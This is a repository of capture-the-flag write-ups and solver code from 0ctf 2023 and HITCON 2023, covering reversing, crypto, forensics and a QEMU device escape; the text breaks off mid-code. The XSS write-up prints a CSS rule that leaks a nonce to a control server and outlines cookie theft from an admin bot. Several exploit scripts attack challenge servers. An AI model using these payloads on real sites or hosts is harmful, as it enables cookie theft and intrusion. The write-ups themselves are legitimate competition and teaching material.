-------------------------------------------------------------------------------- /0ctf2023/hashmaster/insane/setup.txt: -------------------------------------------------------------------------------- 1 | movabs rsp, 0x2000ff8 2 | 3 | mov rax, 0x20004a0 4 | {constantdata2_moves} 5 | 6 | mov rax, 0x2000040 7 | movabs rbx, 0x00ff00ff00ff00ff 8 | mov qword ptr [rax], rbx 9 | mov qword ptr [rax + 8], rbx 10 | 11 | mov rax, 0x2000050 12 | {constantdata1_moves} 13 | 14 | mov rax, 0x1180000 15 | {jit_segment} 16 | 17 | mov eax, 0x20004a0 -------------------------------------------------------------------------------- /0ctf2023/how2compile/Cerberus.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/how2compile/Cerberus.webp -------------------------------------------------------------------------------- /0ctf2023/how2compile/how2compile_7e4f6a5038e2ae91146106bf707a0eea.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/how2compile/how2compile_7e4f6a5038e2ae91146106bf707a0eea.zip -------------------------------------------------------------------------------- /0ctf2023/how2compile/how2compile_fixed_bf935dd243206ab06b6035173dbe1582.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/how2compile/how2compile_fixed_bf935dd243206ab06b6035173dbe1582.zip -------------------------------------------------------------------------------- /0ctf2023/how2compile/ticket-33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/how2compile/ticket-33.png -------------------------------------------------------------------------------- /0ctf2023/newdiary/README.md: -------------------------------------------------------------------------------- 1 | # newdiary Web, 458 points 2 | 3 | _Writeup by [@bluepichu](https://github.com/bluepichu)_ 4 | 5 | The problem provides a pretty standard XSS setup: the ability to create posts and report them to an XSS bot, with the goal being to retrieve the bot's cookies. 6 | 7 | The "view reported post" page gives the ability to inject arbitrary HTML in the page, with the only mitigation being a CSP with a nonce rule, which is properly randomized. However, the CSP does not prevent us from connecting to an external server and does not prevent styles, so we can use styled elements with a background image pointing to a control server to exfiltrate information. Conveniently, there is a copy of the script nonce in a script tag on the page, meaning that we can make checks against that element to leak information about the nonce. In particular, we can write CSS rules like this to check for various patterns within the nonce: 8 | 9 | ```css 10 | body:has([nonce^=a]) { 11 | background-image: url('http://controlserver/a'); 12 | } 13 | ``` 14 | 15 | The "view reported post" page also responds to the `hashchange` event exactly one time, allowing us to switch the content rendered on the page to a different post. This means that if we can leak the nonce using one post's content, then we can create a new post with the known nonce and then swap out the page content by changing the hash to the new post's ID. 16 | 17 | The approach we arrived at to actually leak the nonce was to use trigrams; so in particular, we check for the existence of every 3-character pattern within the base-36 nonce. Since the CSP allows hosting styles on unpkg, we just hosted [an NPM package](https://www.npmjs.com/package/notrightpad) with the appropriate stylesheet and included it from there. This is enough information to recover the entire nonce so long as no bigrams are repeated, which is likely to occur for a random nonce. 18 | 19 | The full exploit chain is: 20 | - Use a meta redirect to get the admin to our own site 21 | - `window.open` a the "view reported post" page from our site, viewing a post that loads our custom nonce-leaking CSS 22 | - Receive all of the trigrams 23 | - Reconstruct the nonce from the trigrams 24 | - Create a new post containing a script in a srcdoc-based iframe that sends us the cookies, which contains the nonce we recovered 25 | - Change the hash on the `window.open`'d page to make the admin load this new post 26 | -------------------------------------------------------------------------------- /0ctf2023/nothing_is_true/nothing_is_true.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | 3 | org 0x31000 4 | 5 | ehdr: ; Elf32_Ehdr 6 | db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident 7 | times 8 db 0 8 | dw 2 ; e_type 9 | dw 3 ; e_machine 10 | dd 1 ; e_version 11 | dd _start ; e_entry 12 | dd 0x100 ; e_phoff 13 | dd 0x40 ; e_shoff 14 | dd 0 ; e_flags 15 | dw 0x40 ; e_ehsize 16 | dw phdrsize ; e_phentsize 17 | dw 1 ; e_phnum 18 | dw 0 ; e_shentsize 19 | dw 0 ; e_shnum 20 | dw 0 ; e_shstrndx 21 | 22 | dw 0x40 ; e_ehsize (fake) 23 | dw 0 24 | dw 1 ; e_phoff (fake) 25 | 26 | times 0x100 - ($-$$) db 0 27 | 28 | phdr: ; Elf32_Phdr 29 | dd 1 ; p_type 30 | dd 0 ; p_offset 31 | dd $$ ; p_vaddr 32 | dd $$ ; p_paddr 33 | dd filesize ; p_filesz 34 | dd filesize ; p_memsz 35 | dd 7 ; p_flags 36 | dd 0x1000 ; p_align 37 | phdrsize equ $ - phdr 38 | 39 | times 0x337 - ($-$$) db 0 40 | db "/flag", 0 41 | 42 | _start: 43 | 44 | call syscall32 45 | syscall32: 46 | pop eax 47 | nop 48 | nop 49 | 50 | mov ebx, 0xc380cd ^ 0x111111 51 | xor ebx, 0x111111 52 | mov dword [syscall32], ebx 53 | 54 | call syscall64 55 | syscall64: 56 | pop ebx 57 | nop 58 | nop 59 | 60 | mov ebx, 0xc3050f ^ 0x111111 61 | xor ebx, 0x111111 62 | mov dword [syscall64], ebx 63 | 64 | jmp 0x33:code64 65 | 66 | BITS 64 67 | code64: 68 | 69 | mov rsi, 0 70 | mov rdi, 0x31337 71 | mov rax, 2 72 | call syscall64 73 | 74 | mov ebx, eax 75 | mov ecx, esp 76 | mov edx, 0x100 77 | mov eax, 3 78 | call syscall32 79 | 80 | mov ebx, 1 81 | mov eax, 4 82 | call syscall32 83 | 84 | mov ebx, 137 85 | mov eax, 1 86 | call syscall32 87 | 88 | filesize equ $ - $$ 89 | 90 | -------------------------------------------------------------------------------- /0ctf2023/parsing/README.md: -------------------------------------------------------------------------------- 1 | # Parsing (Revering, 500 points) 2 | > Solved by @5w1Min, @f0xtr0t, @bluepichu 3 | 4 | Parsing was a reversing challenge solved by 12 teams. 5 | 6 | ## Description 7 | > An unremarkable FLAG [parser](./parser_1e5451a5579d477d7dd2645f30d52a89). 8 | 9 | ## Overview 10 | ``` 11 | ./parser_1e5451a5579d477d7dd2645f30d52a89 "asdf" 12 | Invalid Header 13 | ./parser_1e5451a5579d477d7dd2645f30d52a89 "flag{}" 14 | 15 | ``` 16 | 17 | We were given a **not stripped** rust binary. It accepts string from argument and print out *Invalid Header*, nothing, *You cannot pass!*, or *pass* based on the input. Our task is to find out the input string to print out *pass*. 18 | 19 | ## Reverse 20 | The program use parser library, [nom](https://docs.rs/nom/), to parse the input from argument. 21 | 22 | With a bit of reversing, the goal is to have `t_0ctf_parser::eats::SCORE`, which is initialized to 779, larger than 0 at the end. 23 | 24 | First 6 characters will be parsed as 3 set of 2 hexadecimal integers, in function `t_0ctf_parser::eats::eat_body0`, sum it up and substract from `SCORE`. 25 | 26 | Also, two types of the functions caught our attention: 27 | - `t_0ctf_parser::eats::eat_body{num}` 28 | - compare the next byte of the input string 29 | - if matched 30 | - subsequent calls to `t_0ctf_parser::eats::eat_body{num}_{num#?}` 31 | - `t_0ctf_parser::eats::eat_body{num#1}_{num#2}` 32 | - a children from `t_0ctf_parser::eats::eat_body{num#1}` 33 | - compare the next byte of the input string 34 | - if matched 35 | - call `t_0ctf_parser::eats::eat_body{num#2}` 36 | - substract certain amount from `t_0ctf_parser::eats::SCORE` 37 | 38 | Therefore, all these functions can be use to construct a [directed ayclic graph](./call_graph.svg) such that `t_0ctf_parser::eats::eat_body{num}` as nodes and `t_0ctf_parser::eats::eat_body{num#1}_{num#2}` as edges. 39 | 40 | After a little bit more digging, we can find that some of the edges from the same nodes try to match the **same character** and all these edges will first try to match to leaf nodes, backtrack, and the last one will always be an internal nodes. 41 | 42 | **Does leaf nodes behavave any differently and which of the leaf node is our target?** 43 | 44 | Leaf nodes can be separated into two types: 45 | - `599` (target) 46 | - lead to `t_0ctf_parser::eats::eat_tail`, that try to match the `}` from the input 47 | - That is, our input string should be able to reach here 48 | - others 49 | - lead to `t_0ctf_parser::eats::die` if the input string match the character 50 | - before matching the input, **add** certain amount to `t_0ctf_parser::eats::SCORE` 51 | 52 | That is, all the leaf nodes, except `599`, will create an positive impact to the `SCORE` and by comparing the being added here to the edges, the amount of addition are always larger than the final substraction value. Hence, whenever an internal node with edges of same character, **we should always pick such character to have a positive impact on the** `SCORE`. 53 | 54 | ## Solution 55 | Extract all the information (value to be apply on score and character to match for each function) from [dump file](./parser_1e5451a5579d477d7dd2645f30d52a89.bndb_hlil.txt). 56 | 57 | Find a path from *node 0* to *node 599* that minimize the cost. 58 | 59 | All this is done in the python [script](./solve.py). 60 | 61 | The path found has a cost of 778 so the leading hex digits should be `000000`. 62 | 63 | ``` 64 | ./parser_1e5451a5579d477d7dd2645f30d52a89 "flag{000000Ly7PbxKgm3\!8gJXUHTLqjj311j6gSyMJHg7apxCM0lR_y5b9g2cvOW\!_gnoQVms69Hf6Af63NvabnOHndAgQi}" 65 | pass 66 | ``` 67 | -------------------------------------------------------------------------------- /0ctf2023/parsing/parser_1e5451a5579d477d7dd2645f30d52a89: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/0ctf2023/parsing/parser_1e5451a5579d477d7dd2645f30d52a89 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF write-ups by Maple Mallard Magistrates 2 | -------------------------------------------------------------------------------- /hitcon2023/crypto_collision/README.md: -------------------------------------------------------------------------------- 1 | ## Collision - Crypto Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | Collision was a crypto challenge solved by 11 teams, worth 327 points. 4 | 5 | Description: 6 | 7 | > All you need is to find a hash collision for this, pretty simple right? 8 | > 9 | > collision-dist-d5306a8324a2a2678c3fb7af0cde1e72d0775d57.tar.gz 10 | > 11 | > `nc chal-collision.chal.hitconctf.com 33333` 12 | 13 | We're provided with a package containing a Dockerfile that runs the following script 8 times, with random values for `PYTHONHASHSEED` and an overall timeout of 240 seconds: 14 | 15 | ```python 16 | #!/usr/bin/env python3 17 | import os 18 | import signal 19 | 20 | if __name__ == "__main__": 21 | salt = os.urandom(8) 22 | print("salt:", salt.hex()) 23 | while True: 24 | m1 = bytes.fromhex(input("m1: ")) 25 | m2 = bytes.fromhex(input("m2: ")) 26 | if m1 == m2: 27 | continue 28 | h1 = hash(salt + m1) 29 | h2 = hash(salt + m2) 30 | if h1 == h2: 31 | exit(87) 32 | else: 33 | print(f"{h1} != {h2}") 34 | ``` 35 | 36 | In essence, we will get a flag if we can find eight collisions for the Python 3.11 `hash` function within four minutes. 37 | 38 | ## Step 1: Recovering PYTHONHASHSEED 39 | 40 | Each run is initialized with a random 32-bit `PYTHONHASHSEED`. This seed is used to initialize the 128-bit key used by the hash implementation, as follows (from `Python/bootstrap_hash.c`): 41 | 42 | ```c 43 | static void 44 | lcg_urandom(unsigned int x0, unsigned char *buffer, size_t size) 45 | { 46 | size_t index; 47 | unsigned int x; 48 | 49 | x = x0; 50 | for (index=0; index < size; index++) { 51 | x *= 214013; 52 | x += 2531011; 53 | /* modulo 2 ^ (8 * sizeof(int)) */ 54 | buffer[index] = (x >> 16) & 0xff; 55 | } 56 | } 57 | 58 | [...] 59 | lcg_urandom(config->hash_seed, secret, secret_size); 60 | ``` 61 | 62 | This is a rather poor random number generator. In particular, it only ever uses the third-least-significant byte of `x`, ignoring the top byte entirely. This means that we can treat all operations as being `mod 0xffffff`, i.e. the seed only has 24 bits of effective entropy, since the high byte does not affect the resulting secret at all. 63 | 64 | Thus, recovering the `PYTHONHASHSEED` is simply a matter of observing any output, then trying all 16,777,216 possible seeds to find a seed that is equivalent to the original. [`findseed.cpp`](findseed.cpp) implements this attack. 65 | 66 | ## Step 2: Finding a collision 67 | 68 | The hash function used for byte strings is SipHash 1-3, which uses a 128-bit key and produces a 64-bit hash. SipHash is actually a fairly decent ARX hash function; its only major (cryptographic) weakness is the short output, which is not a problem for its use in hash tables. 69 | 70 | Thus, the most effective way to find a collision is straightforward bruteforce. Due to the birthday paradox, we expect to generate about 2^32 hashes before finding a collision. 71 | 72 | There are many ways to avoid storing every hash to detect a collision. For example, we can use the idea of a rainbow table: generate a "chain" of hashes, where an initial value is hashed, and the hash is converted into a second input; this chain is continued for some number of iterations, but only the final hash in the chain is stored (with a pointer back to the initial input). To find a collision, we can keep generating chains until we find a hash that appears in the table, then start hashing from the start of each chain to find the point at which the chains initially collide. 73 | 74 | [`brute.cpp`](brute.cpp) implements this attack, with [`solver.py`](solver.py) as the driver for the entire operation. We ran it on a 96-core server, which solved all eight instances in less than two minutes, and produced a flag: `hitcon{PYTHONHASHSEED_has_less_entropy_than_it_should_be}` 75 | -------------------------------------------------------------------------------- /hitcon2023/crypto_collision/findseed.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define _le64toh(x) ((uint64_t)(x)) 7 | #define ROTATE(x, b) (uint64_t)( ((x) << (b)) | ( (x) >> (64 - (b))) ) 8 | 9 | #define HALF_ROUND(a,b,c,d,s,t) \ 10 | a += b; c += d; \ 11 | b = ROTATE(b, s) ^ a; \ 12 | d = ROTATE(d, t) ^ c; \ 13 | a = ROTATE(a, 32); 14 | 15 | #define SINGLE_ROUND(v0,v1,v2,v3) \ 16 | HALF_ROUND(v0,v1,v2,v3,13,16); \ 17 | HALF_ROUND(v2,v1,v0,v3,17,21); 18 | 19 | static uint64_t 20 | siphash13(uint64_t k0, uint64_t k1, const void *src, size_t src_sz) { 21 | uint64_t b = (uint64_t)src_sz << 56; 22 | const uint8_t *in = (const uint8_t*)src; 23 | 24 | uint64_t v0 = k0 ^ 0x736f6d6570736575ULL; 25 | uint64_t v1 = k1 ^ 0x646f72616e646f6dULL; 26 | uint64_t v2 = k0 ^ 0x6c7967656e657261ULL; 27 | uint64_t v3 = k1 ^ 0x7465646279746573ULL; 28 | 29 | uint64_t t; 30 | uint8_t *pt; 31 | 32 | while (src_sz >= 8) { 33 | uint64_t mi; 34 | memcpy(&mi, in, sizeof(mi)); 35 | mi = _le64toh(mi); 36 | in += sizeof(mi); 37 | src_sz -= sizeof(mi); 38 | v3 ^= mi; 39 | SINGLE_ROUND(v0,v1,v2,v3); 40 | v0 ^= mi; 41 | } 42 | 43 | t = 0; 44 | pt = (uint8_t *)&t; 45 | switch (src_sz) { 46 | case 7: pt[6] = in[6]; /* fall through */ 47 | case 6: pt[5] = in[5]; /* fall through */ 48 | case 5: pt[4] = in[4]; /* fall through */ 49 | case 4: memcpy(pt, in, sizeof(uint32_t)); break; 50 | case 3: pt[2] = in[2]; /* fall through */ 51 | case 2: pt[1] = in[1]; /* fall through */ 52 | case 1: pt[0] = in[0]; /* fall through */ 53 | } 54 | b |= _le64toh(t); 55 | 56 | v3 ^= b; 57 | SINGLE_ROUND(v0,v1,v2,v3); 58 | v0 ^= b; 59 | v2 ^= 0xff; 60 | SINGLE_ROUND(v0,v1,v2,v3); 61 | SINGLE_ROUND(v0,v1,v2,v3); 62 | SINGLE_ROUND(v0,v1,v2,v3); 63 | 64 | /* modified */ 65 | t = (v0 ^ v1) ^ (v2 ^ v3); 66 | return t; 67 | } 68 | 69 | static void 70 | lcg_urandom(unsigned int x0, unsigned char *buffer, size_t size) { 71 | size_t index; 72 | unsigned int x; 73 | 74 | x = x0; 75 | for (index=0; index < size; index++) { 76 | x *= 214013; 77 | x += 2531011; 78 | /* modulo 2 ^ (8 * sizeof(int)) */ 79 | buffer[index] = (x >> 16) & 0xff; 80 | } 81 | } 82 | 83 | int main(int argc, char **argv) { 84 | uint64_t key[2]; 85 | 86 | if(argc < 3) { 87 | fprintf(stderr, "Usage: %s \n", argv[0]); 88 | return 1; 89 | } 90 | 91 | uint8_t to_hash[12]; 92 | int64_t target; 93 | for(int i=0; i<8; i++) { 94 | unsigned int c; 95 | sscanf(argv[1] + i * 2, "%02x", &c); 96 | to_hash[i] = c; 97 | } 98 | target = strtoll(argv[2], NULL, 10); 99 | memcpy(&to_hash[8], "ABCD", 4); 100 | 101 | // lcg may as well be mod 0x1000000 since it only takes the 0xff0000 byte 102 | for(unsigned int i=0; i<16777216; i++) { 103 | lcg_urandom(i, (unsigned char *)&key, 16); 104 | uint64_t v = siphash13(key[0], key[1], to_hash, sizeof(to_hash)); 105 | if (v == target) { 106 | printf("%u\n", i); 107 | break; 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /hitcon2023/crypto_collision/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import subprocess 3 | from multiprocessing import cpu_count 4 | import sys 5 | 6 | s = remote("chal-collision.chal.hitconctf.com", 33333) 7 | 8 | def h2b(x): 9 | return (x & ((1<<56) - 1)).to_bytes(7, "little") 10 | 11 | for i in range(8): 12 | log.info("=== ROUND %d/8 ===", i + 1) 13 | s.recvuntil(b'salt: ') 14 | salt = s.recvline().strip().decode() 15 | 16 | s.sendlineafter(b'm1: ', b'ABCD'.hex().encode()) 17 | s.sendlineafter(b'm2: ', b'abcd'.hex().encode()) 18 | target = s.recvuntil(b"!=", drop=True).strip().decode() 19 | 20 | log.info("salt=%s target=%s", salt, target) 21 | 22 | seed = subprocess.check_output(["./findseed", salt, target]).strip().decode() 23 | log.info("seed=%s", seed) 24 | 25 | collision = subprocess.check_output(["./brute", str(cpu_count()), seed, salt], stderr=sys.stderr).strip().decode() 26 | log.info("collision=%s", collision) 27 | 28 | a, b = collision.split() 29 | s.sendlineafter(b'm1: ', h2b(int(a, 16)).hex().encode()) 30 | s.sendlineafter(b'm2: ', h2b(int(b, 16)).hex().encode()) 31 | 32 | s.interactive() 33 | 34 | # hitcon{PYTHONHASHSEED_has_less_entropy_than_it_should_be} 35 | # run on a 96-core machine in ~2 minutes 36 | -------------------------------------------------------------------------------- /hitcon2023/crypto_share/README.md: -------------------------------------------------------------------------------- 1 | # Crypto - Share 2 | 3 | ## Problem 4 | 5 | ``` 6 | I hope I actually implemented Shamir Secret Sharing correctly this year. I am pretty sure you won't be able to guess my secret even when I give you all but one share. 7 | 8 | share-dist-54ed28db36cd98dbc63f52eafc91bb7d6e4598b5.tar.gz 9 | nc chal-share.chal.hitconctf.com 11111 10 | 11 | Author: maple3142 12 | 47 Teams solved. 13 | ``` 14 | 15 | ## Overview 16 | 17 | This challenge's goal is to find a server's 32 bytes secret by querying the server. The secret is hidden with [Shamir's secret sharing scheme](https://en.wikipedia.org/wiki/Shamir%27s_secret_sharing). We can select `p`, the prime that defines the field, and `n`, the degree of the polynomial, for a query. `n` and `p` should satisfy the equation `int(13.37) < n < p`. For each query, the server returns shares evaluated on `x = 1..n-1`, which is missing one share to recover the secret. There's no limit on the number of queries, but the whole process should terminate under 30 seconds. 18 | 19 | The bug is in the coefficient generation: it uses `getRandomRange(0, self.p - 1)` which returns value in `[0, p-2]` range. In other words, `p-1` is never used as a coefficient in any degree. 20 | 21 | We observed that we can deterministically find the polynomial difference of two share sets by subtracting them and appending `f(x) = 0`. With repeated queries, we can collect all `p-1` possibilities for the highest coefficients, which allows us to determine the highest coefficient of all shares. Then, a new share of `n-1` degree can then be constructed with `new_share[x] = (old_share[x] - highest_coeff * pow(x, N - 1)) % p`. Since the new share has `n-1` degree and we have `n-1` evaluation result, we can now fully recover the secret polynomial with Lagrange interpolation and find `secret % p`. Repeating these steps for different prime values and applying the chinese remainder theorem gives us the full secret that can be exchanged with the real flag. 22 | 23 | `hitcon{even_off_by_one_is_leaky_in_SSS}` 24 | 25 | See [solver.sage](solver.sage) for the full exploit. 26 | -------------------------------------------------------------------------------- /hitcon2023/crypto_share/solver.sage: -------------------------------------------------------------------------------- 1 | from multiprocessing import Pool 2 | 3 | from Crypto.Util.number import isPrime 4 | from pwn import * 5 | 6 | N = 14 7 | 8 | con = remote("chal-share.chal.hitconctf.com", int(11111)) 9 | 10 | cur = int(17) 11 | prod = int(1) 12 | target = int(2 ** 280) 13 | primes = [] 14 | 15 | while prod <= target: 16 | if isPrime(cur): 17 | primes.append(cur) 18 | prod *= cur 19 | cur += 2 20 | 21 | print(f"primes = {primes}") 22 | 23 | 24 | def read_share(con): 25 | con.recvuntil(b"shares = [") 26 | shares = list(map(int, con.recvline()[:-2].split(b", "))) 27 | return shares 28 | 29 | 30 | def get_share(con, p): 31 | con.send(b"%d\n%d\n" % (p, N)) 32 | return read_share(con) 33 | 34 | 35 | def get_batch(con, first_share, p, batch_size): 36 | batch = [] 37 | 38 | payload = b"%d\n%d\n" % (p, N) 39 | payload *= batch_size 40 | 41 | con.send(payload) 42 | 43 | for _ in range(batch_size): 44 | new_share = [(0, 0)] 45 | for i, share in enumerate(read_share(con)): 46 | new_share.append((i + 1, (p + share - first_share[i]) % p)) 47 | batch.append(new_share) 48 | 49 | return batch 50 | 51 | 52 | def solve_one(arg): 53 | p, shares = arg 54 | 55 | F. = GF(p) 56 | R. = PolynomialRing(F) 57 | 58 | f = R.lagrange_polynomial(shares) 59 | 60 | coeff = list(f.coefficients(sparse=False)) 61 | while len(coeff) < N: 62 | coeff.append(0) 63 | 64 | return coeff 65 | 66 | 67 | with Pool() as pool: 68 | crt = [] 69 | for p in primes: 70 | observed = set() 71 | 72 | first_share = get_share(con, p) 73 | 74 | print(f"Start {p}") 75 | while True: 76 | batch = get_batch(con, first_share, p, p * 4) 77 | print(" Got batch") 78 | for coeff in pool.map(solve_one, map(lambda shares: (p, shares), batch)): 79 | assert coeff[0] == 0 80 | observed.add(coeff[-1]) 81 | 82 | print(" Processed a batch") 83 | if len(observed) == p - 1: 84 | break 85 | 86 | all_sum = sum(range(p - 1)) 87 | missing = all_sum - sum(observed) 88 | highest_coeff = p - missing 89 | 90 | shares = [] 91 | for i in range(N - 1): 92 | num = (first_share[i] - highest_coeff * pow(i + 1, N - 1, p)) % p 93 | shares.append((i + 1, num)) 94 | 95 | rem = int(solve_one((p, shares))[0]) 96 | 97 | print(p, rem) 98 | crt.append((p, rem)) 99 | 100 | 101 | # Recover secret by CRT 102 | secret = int(0) 103 | 104 | for n_i, a_i in crt: 105 | pp = int(prod / n_i) 106 | secret += int(a_i * inverse_mod(pp, n_i) * pp) 107 | 108 | secret = secret % int(prod) 109 | 110 | print(f"secret = {secret}") 111 | print(secret.bit_length()) 112 | 113 | con.sendlineafter(b"p = ", b"123") 114 | con.sendlineafter(b"n = ", b"123") 115 | con.sendlineafter(b"secret = ", b"%d" % secret) 116 | 117 | print(con.recvall().decode()) 118 | -------------------------------------------------------------------------------- /hitcon2023/forensics_not_just_usbpcap/README.md: -------------------------------------------------------------------------------- 1 | # Not just usbpcap 2 | 3 | We get a pcap with mostly USB traffic, along with traffic from bluetooth earbuds. 4 | 5 | We can use https://github.com/TeamRocketIst/ctf-usb-keyboard-parser with some modifications to look at keystrokes. 6 | ``` 7 | tshark -r ./release-7ecaf64448a034214d100258675ca969d2232f54.pcapng -Y 'usbhid.data && usb.data_len == 8' -T fields -e usbhid.data | sed 's/../:&/g2' > data 8 | ``` 9 | We get the following keystrokes, which tells us the flag format: 10 | ``` 11 | Sssoorrrryy,, nnoo ffllaagg hheerree.. Tttrryy hhaarrddeerr.. 12 | 13 | Buutt ii ccaann tteellll yyoouu tthhaatt tthhee ffllaagg ffoorrmmaatt iiss hhiittccoonn{lloowweerr--ccaassee--eenngglliisshh--sseeppaarraatteedd--wwiitthh--ddaasshh} 14 | 15 | Aggaaiinn,, tthhiiss iiss nnoott tthhee ffllaagg :( 16 | ``` 17 | 18 | Packet 1951 tells us that the codec for the audio is MPEG2 AAC LC, sampling frequency is 48000hz, 2 channels. 19 | 20 | We can extract the data as follows: 21 | ``` 22 | tshark -r ./release-7ecaf64448a034214d100258675ca969d2232f54.pcapng -Y 'bta2dp' -T fields -e data.data > data 23 | ``` 24 | then run 25 | ``` 26 | s = open('data').read() 27 | open('data_bin','wb').write(bytes.fromhex(s)) 28 | ``` 29 | to convert to binary, then use https://github.com/dhavalbc/MPEG2-4-AAC-DECODER/tree/master with the 48khz option to get the audio, which tells us the flag. 30 | -------------------------------------------------------------------------------- /hitcon2023/full_chain_the_blade/README.md: -------------------------------------------------------------------------------- 1 | # The Blade - Reversing 2 | 3 | ``` 4 | Full Chain - The Blade [234pts] 5 | 6 | A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary. 7 | 8 | https://storage.googleapis.com/hitconctf2023/chal-the-blade/blade-4c2ff1b60902623f702f0245a6a9ea0e71eeb385 9 | 10 | (Hey, this is my first Rust project. Feel free to give me any advice and criticism 😃) 11 | 12 | Author: wxrdnx 13 | 40 Teams solved. 14 | ``` 15 | 16 | ## Initial Observations 17 | 18 | The binary is a C2 server which has "help" menus that show the various functions available. However, there is no hint to where the flag may be. Stopping in GDB at the prompt and running a backtrace shows that we are in the function `seccomp_shell::cli::prompt`. Looking in Ghidra, most of the important code is in the seccomp_shell namespace. 19 | 20 | ## Hidden Functions 21 | 22 | First, I stepped through the prompt function to see how my input was handled. Although the help menu showed three options, there was a fourth string comparison for "shell". 23 | 24 | Second, while looking at the seccomp_shell functions I noticed one named "verify", which was not in the list of help menu options. Doing a cross reference showed that this function is called after a string comparison with "flag." 25 | 26 | ## Reversing Verification 27 | 28 | The verify function takes parameters for a string as well as its length, which must be 64. The first half of this function runs a loop 0x100 times that does multiple substitutions on the string and then performs some mathematical operations character by character. I (aka Copilot) re-wrote this in Python so I could do some testing and run it backwards. The second half of the function had a series of bytes (also 64 in length), followed by what looked like networking functionality. When the verify function was called with a 64 byte string, the process would crash. Some quick reversing showed that it probably had to do with not having a socket to read/write. 29 | 30 | At this point I tried to create input that would match the mystery bytes in the verify function, but the required input it wasn't valid ascii. Combined with the crash, I figured I would need to start the C2 server and connect to it via nc. Doing this dropped me into a shell, and I ran the verify command to see what would happen. This sent a byte stream to the client, and every character that I sent back to the server would generate a very similar byte stream. Since this is supposed to be an implant, I assumed the bytestring was shellcode. 31 | 32 | The shellcode contained the bytes from the verify function, as well as the output from my modified verify string. It would open the files /etc/passwd, /bin/sh, and /dev/zero and use data from them to modify the verify string even more before matching it against the hard-coded bytes from the function. With this new understanding, I slightly modified my Python script to undo the work of the shellcode, and get the flag. 33 | 34 | ## Flag 35 | 36 | hitcon{} 37 | -------------------------------------------------------------------------------- /hitcon2023/full_chain_the_blade/verify_asm: -------------------------------------------------------------------------------- 1 | push rsp 2 | pop rbp 3 | xor esi,esi 4 | movabs rcx,0x379f3a62b80657a1 5 | 6 | movabs rdx,0x37f7494dd66f358e 7 | 8 | xor rcx,rdx 9 | push rcx 10 | push rsp 11 | pop rdi 12 | push 0x2 13 | pop rax 14 | cdq 15 | syscall 16 | xchg rdi,rax 17 | xor eax,eax 18 | push rax 19 | push rsp 20 | pop rsi 21 | push 0x4 22 | pop rdx 23 | syscall 24 | pop r12 25 | push 0x3 26 | pop rax 27 | syscall 28 | xor esi,esi 29 | movabs rcx,0xaac06463c36f3b3b 30 | 31 | movabs rdx,0xaac06463c30b4c48 32 | 33 | xor rcx,rdx 34 | push rcx 35 | movabs rcx,0x7da9f8d67582578c 36 | 37 | movabs rdx,0xec888f916f632a3 38 | 39 | xor rcx,rdx 40 | push rcx 41 | push rsp 42 | pop rdi 43 | push 0x2 44 | pop rax 45 | cdq 46 | syscall 47 | xchg rdi,rax 48 | xor eax,eax 49 | push rax 50 | push rsp 51 | pop rsi 52 | push 0x4 53 | pop rdx 54 | syscall 55 | pop r13 56 | push 0x3 57 | pop rax 58 | syscall 59 | xor esi,esi 60 | push 0x6f 61 | movabs rcx,0x77d9f62d0c06e559 62 | 63 | movabs rdx,0x5bc8c027a638176 64 | 65 | xor rcx,rdx 66 | push rcx 67 | push rsp 68 | pop rdi 69 | push 0x2 70 | pop rax 71 | cdq 72 | syscall 73 | xchg rdi,rax 74 | xor eax,eax 75 | push rax 76 | push rsp 77 | pop rsi 78 | push 0x4 79 | pop rdx 80 | syscall 81 | pop rax 82 | not rax 83 | shr rax,0x1d 84 | cqo 85 | push 0x29 86 | pop rcx 87 | div rcx 88 | xchg r14,rax 89 | push 0x3 90 | pop rax 91 | syscall 92 | mov eax,0xeb90e12 93 | add eax,r12d 94 | xor eax,r13d 95 | ror eax,0xb 96 | not eax 97 | xor eax,r14d 98 | cmp eax,0x526851a7 99 | push 0x1 100 | pop rax 101 | xor rax,rax 102 | push rax 103 | push rbx 104 | pop rdi 105 | push rsp 106 | pop rsi 107 | push 0x8 108 | pop rdx 109 | push 0x1 110 | pop rax 111 | syscall 112 | push rbp 113 | pop rsp 114 | jmp r15 115 | -------------------------------------------------------------------------------- /hitcon2023/full_chain_wall_maria/README.md: -------------------------------------------------------------------------------- 1 | # Full Chain - Wall Rose 2 | 3 | ## Overview 4 | 5 | We are given root inside a custom qemu build that adds a custom PCI 6 | device. The OS communicates with this device using MMIO. The device 7 | exposes a 8192 byte memory region accessed by reading/writing to the 8 | MMIO area. 9 | 10 | The device state is stored in the following structure: 11 | 12 | ```c 13 | typedef struct { 14 | ... 15 | // The fields of this struct can be read/write via MMIO. 16 | struct { 17 | uint64_t src; // host physical address for data transfer 18 | uint8_t off; // offset into buffer 19 | } state; 20 | char buff[BUFF_SIZE]; // 0x2000 buffer 21 | MemoryRegion mmio; 22 | } MariaState; 23 | ``` 24 | 25 | Access to the buffer is triggered by these MMIO read/write handlers: 26 | ``` 27 | static uint64_t maria_mmio_read(void *opaque, hwaddr addr, unsigned size) { 28 | MariaState *maria = (MariaState *)opaque; 29 | uint64_t val = 0; 30 | switch (addr) { 31 | case 0x00: 32 | // write 33 | cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 1); 34 | val = 0x600DC0DE; 35 | break; 36 | case 0x04: 37 | val = maria->state.src; 38 | break; 39 | case 0x08: 40 | val = 